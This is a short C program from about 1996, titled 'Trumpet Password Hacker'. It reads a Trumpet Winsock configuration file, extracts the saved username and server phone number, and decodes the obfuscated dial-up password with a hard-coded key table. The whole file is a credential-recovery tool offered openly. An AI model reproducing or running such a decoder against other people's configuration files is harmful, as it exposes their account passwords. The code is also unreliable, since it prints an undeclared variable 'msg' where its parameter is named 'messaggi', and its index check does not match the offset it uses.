#include <stdio.h>
  unsigned char
spazio[21]={88,75,55,47,114,66,87,92,35,68,69,87,101,38,122,123,45,117,74,78};
  unsigned char name[34], fono[33], passc[33],riga[33],passd[23];
  unsigned char user[11]="$username=", tele[9]="$number=",
pass[11]="$password=";

  FILE *f1;
  int i,v,c,k;

decodi (int ver) {
  int ls,b;
  if (ver==20) ls=10;
  if (ver==21) ls=11;
  b=strlen(passc);
  for (i=ls;i<b;i++) {
      v = passc[i];
      v = v + 32 - spazio[i-ls];
      if (v < 32) v = v + 96;
      if (i-10<21) passd[i-ls] = v;
  }
}

scrivi(int n, int st, unsigned char str[], char messaggi[])
  {
  c=strlen(str);
  printf("%s",msg);
  for(k=n;k<c-st;k++) {
     printf("%c",str[k]);
  }
  printf("\n");

}

main (argc,argv)
  int argc;
  char *argv[];
  {
  printf("\n\nTrumpet Password Hacker by Doctor Jeep 96  NO (C)\n\n");
  if(argc!=2) {
    printf ("Specify the trumpet .ini file with his path \n");
    exit(1);
  }

  f1=fopen(argv[1],"r");
  if (f1==NULL) {
      printf("\nUnable to open configuration file");
      exit(1);
  }

  printf("\n");
  while(!feof(f1))
  {
      fgets(riga,32,f1);
      if (strspn(riga,pass)==10) strcpy(passc,riga);
      if (strspn(riga,user)==10) strcpy(name,riga);
      if (strspn(riga,tele)==8) strcpy(fono,riga);
  }
  fclose(f1);



  scrivi (8,1,fono,"Server's Tel. #: ");
  scrivi (10,1,name,"Username: ");
  decodi (20);
  scrivi (0,1,passd,"Trumpet 2.0 password: ");
  decodi (21);
  scrivi(0,3,passd,"Trumpet 2.1F password: ");
}